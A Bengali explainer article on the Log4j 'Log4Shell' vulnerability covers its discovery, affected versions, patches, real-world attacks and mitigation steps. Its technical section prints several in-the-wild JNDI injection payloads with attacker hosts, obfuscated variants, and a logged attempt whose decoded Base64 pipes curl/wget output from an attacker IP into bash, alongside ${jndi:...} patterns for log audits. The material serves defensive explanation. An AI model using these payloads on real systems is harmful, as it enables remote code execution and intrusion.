কম্পিউটার

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

মোবাইল, ডেস্কটপ, সার্ভার, আইওটি ডিভাইস, রাউটার, প্রিন্টার, কপি মেশিন ইত্যাদির মতো আইটি-সম্পর্কিত ডিভাইসগুলিতে জাভা সর্বত্র পাওয়া যায়। কাস্টমাইজড এন্টারপ্রাইজ অ্যাপ্লিকেশনগুলির সাথে বেশিরভাগ জনপ্রিয় সফ্টওয়্যার অ্যাপ্লিকেশন এবং গেমগুলি জাভা ব্যবহার করে তৈরি করা হয়। একটি মোটামুটি অনুমান হল যে 3 বিলিয়ন ডিভাইস জাভা চালায়। জাভা লাইব্রেরিগুলি জাভার দৃঢ়তাকে একটি ভিন্ন স্তরে নিয়ে যায়। এরকম একটি লাইব্রেরি হল Log4J যা ওপেন সোর্স অ্যাপাচি সফটওয়্যার ফাউন্ডেশন দ্বারা তৈরি করা হয়েছে। এই Log4J লাইব্রেরি জাভা-লগিং ফ্রেমওয়ার্কের একটি অপরিহার্য অংশ এবং একটি অ্যাপ্লিকেশনের ত্রুটি বার্তাগুলি লগ করার জন্য দায়ী৷

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

Log4J লাইব্রেরির ব্যবহার

লগিং ডেভেলপারদের একটি অ্যাপ্লিকেশন সম্পাদন করছে এমন সমস্ত কার্যকলাপ দেখতে সাহায্য করে এবং প্রায় প্রতিটি সফ্টওয়্যার অ্যাপ্লিকেশন (এমনকি ক্লাউড-ভিত্তিক) তার ত্রুটির জন্য লগ তৈরি করে। বিকাশকারীরা, সাধারণত, তাদের অ্যাপ্লিকেশনের লগিং সিস্টেম তৈরি করে না (চাকাটি পুনরায় উদ্ভাবন না করার জন্য) তবে একটি ইতিমধ্যে প্রতিষ্ঠিত লগিং লাইব্রেরি (কোডিং এবং বিকাশের একটি সাধারণ নিয়ম) এবং সবচেয়ে জনপ্রিয় লগিংগুলির মধ্যে একটি ব্যবহার করতে পছন্দ করে। জাভার লাইব্রেরি হল Log4J .

তাই, প্রায় প্রতিটি অ্যাপ্লিকেশন (সরকার, সংস্থা, উদ্যোগ, Microsoft, Apple, Google, ইত্যাদির অ্যাপ্লিকেশন সহ) যা জাভাতে লেখা এই লাইব্রেরিটি থাকতে পারে এবং এই ধরনের লাইব্রেরিতে দুর্বলতা একটি সাইবার নিরাপত্তা সবচেয়ে খারাপ দুঃস্বপ্ন হতে পারে এবং হ্যাকারদের জন্য স্বপ্ন সত্যি হয়। তাছাড়া, এই লাইব্রেরিটি ওপেন সোর্স, তাই এখানে কোনও অফিসিয়াল পরিসংখ্যান নেই৷ কতগুলি ডিভাইস/অ্যাপ্লিকেশন এই লাইব্রেরি ব্যবহার করছে।

Log4J অনেক জনপ্রিয় অ্যাপ্লিকেশন ব্যবহার করে (যেমন Twitter, Apple iCloud), গেমস (যেমন Minecraft, Steam), ওয়েবসাইট , ইত্যাদি। এগুলোর সাথে, এই লাইব্রেরিটিও অনেক অন্যান্য কাঠামোর অংশ যেমন কাফকা, ইলাস্টিকসার্চ, ফ্লিঙ্ক। Log4J শোষণের জন্য ঝুঁকিপূর্ণ অ্যাপ্লিকেশন, পণ্য, প্লাগ-ইনগুলির তালিকা ক্রমাগত বৃদ্ধি পাচ্ছে৷

Log4J-এ একটি দুর্বলতা সনাক্তকরণ

প্রথম প্রতিবেদন Log4J-এ একটি দুর্বলতা প্রাথমিকভাবে 1 st -এ প্রকাশিত হয়েছিল ডিসেম্বর 2021 চেন ঝাওজুন দ্বারা আলিবাবা ক্লাউড সিকিউরিটি টিম থেকে, যারা একটি আদর্শ বাগ হান্টিং অনুশীলন হিসাবে এবং একজন দায়িত্বশীল আই.টি. ব্যক্তি, Apache ফাউন্ডেশনকে ত্রুটি সম্পর্কে অবহিত করেছেন (যদিও, কিছু বাগ শিকারী হ্যাকারদের কাছে এই ধরনের দুর্বলতা বিক্রি করে এবং এই ধরনের দুর্বলতা কয়েক মাস বা বছর ধরে সনাক্ত করা যায় না)। সনাক্তকরণ Minecraft-এ ঘটেছে৷ . Minecraft এর চ্যাট বৈশিষ্ট্য Log4J শোষণের সনাক্তকরণের উৎস।

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

গেমের চ্যাট অ্যালগরিদমগুলি জাভা API-এর উপর ভিত্তি করে তৈরি করা হয়েছে যা Log4J লাইব্রেরি ব্যবহার করে এবং এই লাইব্রেরিটি খারাপ লোকদের Minecraft সার্ভারগুলিকে ফ্রিজ করতে, সমস্ত প্লেয়ারকে সরিয়ে ফেলার অনুমতি দেয়। একটি অনুকূল পরিবেশে, এই দুর্বলতাটি সহজেই রিমোট কোড এক্সিকিউশন দ্বারা ম্যানিপুলেট করা হয়েছিল। (RCE) , যা দুর্বলতার হুমকির মাত্রা বাড়ায়।

Log4J লাইব্রেরিতে একটি দুর্বলতার উপস্থিতি 9 th এ সর্বজনীনভাবে গৃহীত হয়েছিল ডিসেম্বর 2021 Apache দ্বারা। দুর্বলতার নাম দেওয়া হয়েছে Log4Shell হিসাবে এবং আনুষ্ঠানিকভাবে লেবেলযুক্ত ছিল৷ CVE-2021-44228 হিসাবে . CVE (C ommon V দুর্বলতা এবং xposures) নাম্বারিং সিস্টেম হল একটি নামকরণ যা বিশ্বজুড়ে সনাক্ত করা প্রতিটি দুর্বলতা/শোষণকে স্বতন্ত্রভাবে সনাক্ত করার জন্য।

Log4J কে একটি শূন্য-দিন হিসাবে শ্রেণীবদ্ধ করা হয়েছে৷ (বা 0 দিন) দুর্বলতা। শূন্য-দিনের দুর্বলতার অর্থ হল দুর্বলতা ইতিমধ্যেই হ্যাকারদের দ্বারা লক্ষ্যবস্তু করা হয়েছে, এমনকি ডেভেলপারদের ত্রুটি সম্পর্কে জানার আগেই এবং শোষণের জন্য একটি প্যাচ বাস্তবায়নের জন্য শূন্য-দিন আছে।

Log4J লাইব্রেরির প্রভাবিত সংস্করণ এবং প্রকাশ করা প্যাচগুলি

Log4J সংস্করণগুলি 2.0 থেকে 2.14.1৷ দুর্বলতা দ্বারা প্রভাবিত রিপোর্ট করা হয়. Log4J সংস্করণ 2.15.0৷ ছিল আসল প্যাচ CVE-2021-44228 এর জন্য রিলিজ করা হয়েছে কিন্তু পরে, Log4J-এ আরেকটি দুর্বলতা পাওয়া গেছে (বেশিরভাগই, নন-ডিফল্ট কনফিগারেশনে) CVE-2021-45046 হিসেবে লেবেল করা হয়েছে। . এই দুর্বলতার একটি নিরাপত্তা প্রভাব ছিল৷ এর 3.7 (মূল দুর্বলতার তুলনায় বেশ কম)। Apache Foundation তারপরে Log4j সংস্করণ 2.16 প্রকাশ করেছে মূল ফিক্সে শোষণ প্যাচ করতে।

আমরা যখন এই নিবন্ধে কাজ করছিলাম, তখন আরেকটি প্যাচ Log4J সংস্করণ 2.17 CVE-2021-45105 হিসাবে লেবেল করা Log4J দুর্বলতার জন্য (অস্বীকার-অফ-সার্ভিস/DoS আক্রমণ) Apache থেকে মুক্তি পেয়েছে। প্যাচ সম্পর্কে তথ্য Apache ওয়েবসাইটের অফিসিয়াল Log4J নিরাপত্তা পৃষ্ঠায় পাওয়া যায়।

অনেক পাঠক মনে করতে পারেন যে প্যাচটি ইতিমধ্যে Log4J এ প্রয়োগ করা হয়েছে, তাহলে কেন এই অস্পষ্টতা? যদিও Log4J লাইব্রেরির সর্বশেষ সংস্করণটি প্যাচ করা হয়েছে, তবুও যে অ্যাপ্লিকেশন, পণ্য, প্লাগ-ইন, ইত্যাদি এখনও Log4J-এর পুরানো সংস্করণগুলি ব্যবহার করছে সেগুলি এখনও আনপ্যাচ করা হয়নি৷ এছাড়াও, এমন অ্যাপ্লিকেশনের ঘটনা রয়েছে যা পরিত্যক্ত হয়ে গেছে এবং Log4J এর একটি দুর্বল সংস্করণ ব্যবহার করছে। Abandonware হল একটি সফ্টওয়্যার পণ্য যা এর মালিক/উৎপাদকদের দ্বারা উপেক্ষা করা হয়/আরো বিকশিত হয় না এবং কোন সরকারী সহায়তা ছাড়াই।

Log4J শোষণের মাত্রা

নিরাপত্তা প্রভাব রেটিংয়ে, Log4J শোষণকে সহজেই 10/10 (সর্বোচ্চ সম্ভাব্য ঝুঁকি স্তর) হিসাবে শ্রেণীবদ্ধ করা যেতে পারে। এই দুর্বলতার মাত্রা এতটাই বড় যে সমস্ত প্রধান খেলোয়াড় (Microsoft, Google, Cisco, ইত্যাদি) সরকার এবং Apache (Log4J-এর বিকাশকারীরা) সহ দিনরাত কাজ করছে দুর্বলতা কাটাতে। এই সংস্থাগুলির উদ্বেগ এবং প্রতিক্রিয়া তাদের অফিসিয়াল ওয়েব পেজ বা সোশ্যাল মিডিয়া অ্যাকাউন্টগুলিতে দেখা যায়। দুর্বলতার তীব্রতা লক্ষ করা যায় যখন CISA-এর জেন ইস্টারলি ডিরেক্টর (US C ybersecurity এবং I nfras কাঠামো A gency) Log4J শোষণকে

হিসেবে উল্লেখ করেছে

আমি আমার পুরো ক্যারিয়ারে দেখেছি সবচেয়ে গুরুতর এক, যদি সবচেয়ে গুরুতর না হয়।

আর এই তীব্রতার কারণেই আইটি শিল্পের নেতারা মনে করছেন যে Log4J দুর্বলতা ভুতুড়ে রাখবে বছর ধরে শিল্প আসতে।

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

কেন Log4J দুর্বলতা আগে শনাক্ত করা হয়নি?

অনেক ব্যবহারকারীর মনে একটি প্রশ্ন আসে যে কেন 2013 সাল থেকে Log4J লাইব্রেরি উপলব্ধ থাকায় এত বড়তার একটি দুর্বলতা প্রাথমিকভাবে সনাক্ত করা যায়নি। যদিও USA 2016 BlackHatEvents-এ Log4J-এর একটি দুর্বলতা উপস্থাপন করা হয়েছিল, যা JNDI-কে আক্রমণ ভেক্টর হিসেবে আলোচনা করেছিল, যেখানে বর্তমান দুর্বলতা হল এক ধরনের টেমপ্লেট ইনজেকশন যা JNDI-এর ব্যবহারের অনুমতি দেয়৷

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

কিন্তু সফ্টওয়্যার অ্যাপ্লিকেশনগুলিতে, নতুন প্রযুক্তির আবির্ভাব হিসাবে শোষণগুলি সনাক্ত করা কঠিন, আইটি-এর দিগন্ত। শিল্প পরিবর্তন (যেমন, ইন্টারনেট আবিষ্কারের আগে এবং ইন্টারনেটের পরে সফ্টওয়্যার অ্যাপ্লিকেশনগুলি একটি ভিন্ন গল্প)। এছাড়াও, যেমনটি আগে আলোচনা করা হয়েছে, 2.0 এর নীচের Log4J লাইব্রেরি সংস্করণগুলি প্রভাবিত হয় না (তাদের সমস্যাগুলির ভাগ রয়েছে), তাই, প্রযুক্তিতে অগ্রগতি কারণ এই শোষণ সনাক্ত করা যেতে পারে।

Log4J দুর্বলতা ব্যবহার করে আক্রমণ

শহরে নতুন শোষণের সাথে, হ্যাকাররা শোষণ ব্যবহার করার জন্য তাদের সরঞ্জামগুলিকে লক্ষ্য করছে৷ প্রথম লক্ষ্য করা ম্যালওয়্যার শোষণকে লক্ষ্য করে CryptoMiners (যা প্রভাবিত মেশিন থেকে ক্রিপ্টো-কারেন্সি খনি)। তার পরেই ছিল কোবল্ট স্ট্রাইক (অনুপ্রবেশ পরীক্ষা) সংক্রমিত সিস্টেম থেকে ব্যবহারকারীর নাম/পাসওয়ার্ড চুরি করতে। তারপর জাহাজের সাথে যোগ হয়েছিল র্যানসমওয়্যার-ভিত্তিক ম্যালওয়্যার যেমন খোনসারি এবং তালিকা চলছে . এবং শেষ কিন্তু অন্তত নয়, রাষ্ট্র-সমর্থিত হ্যাকিং গ্রুপগুলি বিভিন্ন দেশ এই দুর্বলতাকে কাজে লাগিয়ে প্রতিদ্বন্দ্বীদের টার্গেট করছে। এখানে রিপোর্ট করা আক্রমণ সম্পর্কে ESET থেকে একটি মানচিত্র রয়েছে (মার্কিন যুক্তরাষ্ট্র, যুক্তরাজ্য, জার্মানি, তুরস্ক এবং নেদারল্যান্ডসে সর্বোচ্চ পরিমাণে হামলা।)।

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

এখন পর্যন্ত, 1800000 প্লাস আছে রিপোর্ট করা ঘটনা হ্যাকারদের দ্বারা এই Log4J শোষণ ব্যবহার করার প্রচেষ্টার (এবং গণনা)। এছাড়াও, প্রায় কর্পোরেট নেটওয়ার্কের 40 শতাংশের বেশি৷ এই দুর্বলতা ব্যবহার করে আক্রমণ করা হয়. শোষণ কোড-এর উপলব্ধতা বিভিন্ন সাইটে বিষয়গুলোকে সবচেয়ে খারাপ করেছে। তদুপরি, জিনিসগুলি জটিল হয়ে উঠেছে কারণ শোষণকে লক্ষ্যযুক্ত করা যেতে পারে HTTP দ্বারা এবং HTTPS প্রোটোকল .

কিন্তু এটি শুধুমাত্র একটি ম্যালওয়্যার কীট এর মতো শুরুর বিন্দু দুর্বলতাকে লক্ষ্য করে তৈরি করা হয়, তাহলে এর প্রভাব মূল দুর্বলতার চেয়ে অনেক বেশি হতে পারে। কারণ, একটি কম্পিউটার ওয়ার্ম হল সফটওয়্যারের একটি স্বতন্ত্র অংশ যা নীরবে নিজেকে প্রতিলিপি করে এবং নেটওয়ার্কের মাধ্যমে ছড়িয়ে পড়ে (যেমন, কোড রেড ওয়ার্ম 2000-এর দশকে বা WannaCry 2017 সালে)।

এটি কিভাবে কাজ করে

Log4J লাইব্রেরি (লগিং ফ্রেমওয়ার্ক সহ) একটি অ্যাপ্লিকেশন কী করছে তার একটি ট্র্যাক রাখে এবং শোষণ ব্যবহার করতে, একজন আক্রমণকারীকে শুধুমাত্র Log4J-এ লগ এন্ট্রি করতে বাধ্য করতে হবে। একটি সাধারণ কাজ দ্বারা যেমন, একটি অ্যাকাউন্টের একটি ব্যবহারকারীর নাম সেট করা বা একটি ইমেলে কোড স্ট্রিং পাঠানো। লগিং ফ্রেমওয়ার্কে আক্রমণকারীর দ্বারা একটি অ্যাপ্লিকেশনের লগ এন্ট্রি তৈরি করা অ্যাপ্লিকেশান থেকে অ্যাপ্লিকেশনে পরিবর্তিত হতে পারে (যেমন, মাইনক্রাফ্টে, চ্যাট বৈশিষ্ট্য ব্যবহার করা হয়েছিল) বা কম্পিউটার থেকে কম্পিউটার। একবার দূষিত কোড সহ এমন একটি লগ এন্ট্রি তৈরি হয়ে গেলে, আক্রমণকারী মেশিনে দূষিত কোড লোড করতে পারে, সিস্টেমটির সম্পূর্ণ নিয়ন্ত্রণ নিতে পারে , নেটওয়ার্কের মাধ্যমে ছড়িয়ে দিন, ম্যালওয়্যার ইনস্টল করুন, আক্রমণের অন্য রূপ চালু করুন বা কী না।

এই দুর্বলতার সবচেয়ে বিপজ্জনক অংশ হল এটি “প্রি-প্রমাণিত ," যার মানে হ্যাকারকে এটি নিয়ন্ত্রণ করতে একটি দুর্বল সিস্টেমে সাইন ইন করতে হবে না৷

শোষণকে সহজভাবে নিম্নলিখিত ধাপে বর্ণনা করা যেতে পারে :

  1. শোষণটি হ্যাকার দ্বারা ট্রিগার করা হয়েছে একটি ব্যবহারকারীর সরবরাহকৃত ইনপুটের মাধ্যমে একটি দূষিত পেলোড পাঠানোর মাধ্যমে। এই পেলোডটি একটি HTTP/HTTPS শিরোনাম হতে পারে বা Log4j ব্যবহার করে দুর্বল অ্যাপ্লিকেশন দ্বারা লগ করা অন্য কোনো জিনিস হতে পারে৷
  2. অ্যাপ্লিকেশনটি লগ এর ডেটাতে ক্ষতিকারক পেলোড।
  3. Log4J লাইব্রেরি ব্যাখ্যা করার চেষ্টা করে দূষিত ব্যবহারকারীর ইনপুট এবং একটি হ্যাকার-নিয়ন্ত্রিত সার্ভারের সাথে সংযোগ করে (যেমন, LDAP)।
  4. দূষিত সার্ভার (যেমন, LDAP) প্রতিক্রিয়া ফেরত দেয় যেটি অ্যাপ্লিকেশনটিকে লোড করার নির্দেশ দেয় একটি রিমোট ক্লাস জাভা ফাইল .
  5. অ্যাপ্লিকেশনটি ডাউনলোড হয় এবং রিমোট চালায় ফাইল যা হ্যাকারের জন্য তার খারাপ কর্ম সম্পাদনের দরজা খুলে দেয়।

প্রক্রিয়াটি নিম্নলিখিত চার্টে ব্যাখ্যা করা হয়েছে:

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

আপনি কি নিরাপদ?

সুতরাং, উপরের দিকে যাওয়ার পরে, একটি ব্যবহারকারীর মনে একটি প্রশ্ন আসে যে আমি কি নিরাপদ? এটা নির্ভর করে . যদি একজন ব্যবহারকারী এমন একটি প্রতিষ্ঠানের অংশ হন যা Java Log4J লাইব্রেরি ব্যবহার করে, তাহলে সে এবং তার সংস্থা ঝুঁকিতে রয়েছে৷ যদি একজন ব্যবহারকারী বা তার সংস্থা জাভা-ভিত্তিক কিছু ব্যবহার না করে (সবচেয়ে অসম্ভাব্য) কিন্তু যদি এন্টারপ্রাইজ অ্যাপ্লিকেশন নির্ভরতা, 3 rd পার্টি ভেন্ডর ইউটিলিটি বা অ্যাপ্লিকেশন জাভা-ভিত্তিক, তাহলে ব্যবহারকারী বা তার সংস্থা ঝুঁকিতে থাকতে পারে। আপনি যে অ্যাপ্লিকেশনগুলি ব্যবহার করছেন সেগুলির জন্য আপনি ইন্টারনেট অনুসন্ধান করতে পারেন যদি সেগুলি দুর্বল হয়৷

কি করতে হবে?

এখন, চূড়ান্ত প্রশ্ন, আপনার সিস্টেম বা প্রতিষ্ঠানে Log4J দুর্বলতা থাকলে কী করবেন।

একজন ব্যবহারকারীর জন্য

একজন সাধারণ শেষ-ব্যবহারকারী উল্লেখযোগ্য কিছু করতে পারে না তার অ্যাপ্লিকেশনগুলি (বিশেষ করে অ্যান্টিভাইরাস/অ্যান্টি-ম্যালওয়্যার অ্যাপ্লিকেশন), ডিভাইস বা ওএস আপ টু ডেট রাখা ছাড়া এই দুর্বলতা সম্পর্কে। ব্যবহারকারী যদি অ্যাবেডনওয়্যার ব্যবহার করে , তারপর এটি আনইনস্টল করা তার সিস্টেম নিরাপদ রাখতে পারে. এছাড়াও, আপনি যদি একটি অনলাইন পরিষেবা ব্যবহার করেন (প্রবাহের মত), তারপর নিশ্চিত করুন যে তারা প্যাচগুলি প্রয়োগ করেছে (তাদের অফিসিয়াল পেজ বা সোশ্যাল মিডিয়া হ্যান্ডলগুলি চেক করুন) হল একজন সাধারণ ব্যবহারকারীর জন্য এগিয়ে যাওয়ার পথ৷

একটি সংস্থার জন্য

Log4J শোষণ থেকে একটি সংস্থাকে সুরক্ষিত করার মাইলেজ সংস্থা থেকে সংস্থায় পরিবর্তিত হতে পারে . প্রথম পদক্ষেপটি হওয়া উচিত একটি অডিট করা৷ সমগ্র অবকাঠামো, অ্যাপ্লিকেশন নির্ভরতা, 3 rd পক্ষ বিক্রেতা ইউটিলিটি, বা দূরবর্তী কর্মীদের দুর্বলতা বিদ্যমান কিনা তা খুঁজে বের করতে. নিরীক্ষার জন্য নিম্নলিখিত নিদর্শন বা তাদের ডেরিভেশনগুলির জন্য অ্যাপ্লিকেশন লগগুলি সন্ধান করা উচিত:

${jndi:ldap:/}

${jndi:ldaps:/}

${jndi:rmi:/}

${jndi:dns:/}

${jndi:iiop:/}

সংস্থাটি স্বয়ংক্রিয় হুমকি শিকারও ব্যবহার করতে পারে৷ এবং তদন্ত সরঞ্জাম (TrendMicro-এর Log4J ভালনারেবিলিটি টেস্টারের মতো) Log4J দুর্বলতা আছে এমন কোনও অ্যাপ্লিকেশন খুঁজে বের করতে। Log4J দুর্বলতার কোনও রেফারেন্সের জন্য সংস্থার বিকাশকারীকে তাদের কোড পরীক্ষা করার জন্য টাস্ক করা উচিত। এছাড়াও, ইন্টারনেট-মুখী ডিভাইসগুলি৷ একটি বিপর্যয় এড়াতে যত তাড়াতাড়ি সম্ভব একটি সংস্থার প্যাচ করা উচিত। একটি সংস্থার যত দ্রুত সম্ভব কাজ করা উচিত কারণ সংস্থাটিকে এমন খারাপ লোকদের সাথে প্রতিদ্বন্দ্বিতা করতে হবে যারা দুর্বলতার লক্ষ্যে অন্যদের থেকে কমপক্ষে 7 দিন এগিয়ে থাকে।

দ্বিতীয়ত, একটি ওয়েব অ্যাপ্লিকেশন ফায়ারওয়াল সংস্থার সংস্থান এবং ডেটা সুরক্ষিত করার জন্যও শীঘ্রই স্থাপন করা উচিত। প্রায়, প্রতিটি প্রধান প্লেয়ার (Microsoft, Oracle, Apple, Google, Amazon, ইত্যাদি) তাদের পরিষেবাগুলি আপডেট করেছে এবং তাদের পণ্যগুলির জন্য প্যাচগুলি প্রকাশ করেছে৷ সুতরাং, একটি সংস্থাকে নিশ্চিত করা উচিত যে এটি যে সমস্ত অ্যাপ্লিকেশন এবং পরিষেবাগুলি ব্যবহার করছে সেগুলি সর্বশেষে প্যাচ করা হয়েছে। অধিকন্তু, এন্টারপ্রাইজ সংস্থাগুলির উচিত অপ্রয়োজনীয় ইন্টারনেট ট্রাফিক সীমিত করা তাদের এক্সপোজার কমাতে, যা ঝুঁকির মাত্রা কমিয়ে দেবে।

ভালনারেবিলিটির প্রযুক্তিগত দিকগুলি

এখন পর্যন্ত, আমরা সাধারণ মানুষের পদে Log4J দুর্বলতা কভার করার চেষ্টা করেছি কিন্তু এই বিভাগে, আমরা ডেভেলপারদের প্রযুক্তিগত পরিভাষায় Log4J দুর্বলতা নিয়ে আলোচনা করব। এই দুর্বলতা JNDI ব্যবহার করে কাজে লাগানো হয় (জাভা নামকরণ এবং ডিরেক্টরি ইন্টারফেস) সন্ধান করুন। এর ফলে একটি পরিষেবার অস্বীকার হতে পারে৷ (DoS) আক্রমণ। যখনই JNDI ${a_Java_expression}-এর মতো একটি অভিব্যক্তি খুঁজে পায়, তখন এটি সেই অভিব্যক্তিটির মান খুঁজে পায় এবং এটি প্রতিস্থাপন করে। কিছু Log4J সমর্থিত লুকআপ হল sys, JNDI, env, java, লোয়ার এবং আপার। কিছু Log4J লুকআপ দ্বারা সমর্থিত প্রোটোকল হল LDAP, DNS, RMI, এবং IIOP। অ্যাপ্লিকেশন লগে একটি এন্ট্রি ইনজেক্ট করার জন্য, আক্রমণকারী একটি সার্ভারে HTTP অনুরোধগুলি ব্যবহার করতে পারে এবং অনুরোধটি পাওয়ার পরে, Log4J লুকআপ malicious.class (হ্যাকার-নিয়ন্ত্রিত LDAP সার্ভারে হোস্ট করা) ডাউনলোড এবং কার্যকর করবে, যদি ObjectClass বৈশিষ্ট্য LDAP-এ অবজেক্টকে javaNamingReference হিসাবে সংজ্ঞায়িত করা হয়েছে এবং এতে নিম্নলিখিত বৈশিষ্ট্য রয়েছে:

javaCodebase

javaFactory

javaClassName

তারপর LDAP অবজেক্ট লোডার জাভাকোডবেসে সংজ্ঞায়িত হিসাবে ক্ষতিকারক URL এর বিষয়বস্তু বের করবে এবং একটি সম্পর্কিত বস্তু তৈরি করবে মেমরিতে . একবার প্রারম্ভিক পদ্ধতি বা আরও আনুষ্ঠানিকভাবে, উল্লিখিত ক্লাসের কনস্ট্রাক্টর কার্যকর করা হয়, একটি অবিশ্বস্ত কোড একটি অবিশ্বস্ত উৎস থেকে সংক্রমিত মেশিনে চলবে।

সবচেয়ে মৌলিক অভিব্যক্তি যে একজন আক্রমণকারী Log4J এ ইনজেকশন দিতে পারে তা হল

${jndi:ldap://{attacker_website}/a}

এটি দূষিত কোড কার্যকর করবে৷ হোস্ট করা হয়েছে অন:

https://{attacker_website}/{malicious.class}

একবার দূষিত কোড সফলভাবে কার্যকর করা হলে, সার্ভার স্ট্রিংকে ব্যাখ্যা করে যা জাভাস্ক্রিপ্ট, জাভা ক্লাস, ইউনিক্স শেল, ইত্যাদির মতো বিভিন্ন ফরম্যাটে শেল কমান্ডের দিকে নিয়ে যায়।

দুর্বলতার তীব্রতা বাড়ানোর আরেকটি কারণ হল বাসা বাঁধার ক্ষমতা জাভা ${} ব্লকের যা সন্দেহজনক স্ট্রিং সনাক্তকরণ অনেক কঠিন করে তুলবে। উদাহরণস্বরূপ, ${ jndi:} ব্যবহার করার পরিবর্তে, হ্যাকাররা ${${lower:jn}${lower:di}} ব্যবহার করতে পারে যা হ্যাকারদের রিমোট সার্ভার থেকে তথ্য/ডেটা বের করতে দেয়।

একটি আকর্ষণীয় প্রশ্ন যা পাঠকের মনে আসতে পারে তা হল কোডটি কোথায় রাখবেন যে Log4J লাইব্রেরিতে নামতে পারে? অনেক অ্যাপ্লিকেশান তাদের সাথে ঘটতে থাকা সমস্ত কিছু লগ করে যার মধ্যে ইনকামিং রিকোয়েস্ট যেমন HTTP হেডার (যেমন ইউজার-এজেন্ট বা এক্স-ফরওয়ার্ড-ফর), ইউআরআই, রিকোয়েস্ট বডি, ইত্যাদি। সমস্ত ইন্টারনেট থেকে লগার এবং তারপর সংক্রামিত মেশিন নিয়ন্ত্রণ করতে কমান্ড দিতে পারেন। প্রক্রিয়াটি নিম্নলিখিত চিত্রে স্পষ্ট করা হয়েছে:

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

নিচে কয়েকটি উদাহরণ দেওয়া হল ইউআরএল চিহ্নিত করা হয়েছে এখন পর্যন্ত বিভিন্ন আক্রমণের ধরন শুরু করতে Log4J লাইব্রেরি ব্যবহার করে:

${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}

${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}

নিচে HTTP সার্ভার লগ এর একটি অংশ একটি Log4J শোষণ প্রচেষ্টা দেখাচ্ছে:

45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"

বেস64 স্ট্রিং উপরের লগে ডিকোড করে:

(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash

এটি 45.155.xxx.xxx থেকে একটি দূষিত কোড আনবে এবং পরবর্তীতে ব্যাশ ব্যবহার করে স্ক্রিপ্টটি চালাবে৷

Log4j দুর্বলতা কী এবং এটি কীভাবে ইন্টারনেটকে প্রভাবিত করবে?

শেষ পর্যন্ত, আমরা আমাদের পাঠকদের সতর্ক থাকতে চাই এই হুমকির বিরুদ্ধে এবং এটিকে হালকাভাবে নেওয়া উচিত নয় কারণ এই দুর্বলতার কারণে ইন্টারনেটে আগুন লেগেছে।


  1. ড্রাইভটি অফলাইন:এটি কী এবং কীভাবে এটি ঠিক করবেন

  2. একটি ভিপিএন কি এবং এটি কিভাবে কাজ করে?

  3. BIOS কী এবং কীভাবে BIOS আপডেট করবেন?

  4. Windows.old ফোল্ডার কি এবং কিভাবে এটি মুছে ফেলতে হয়।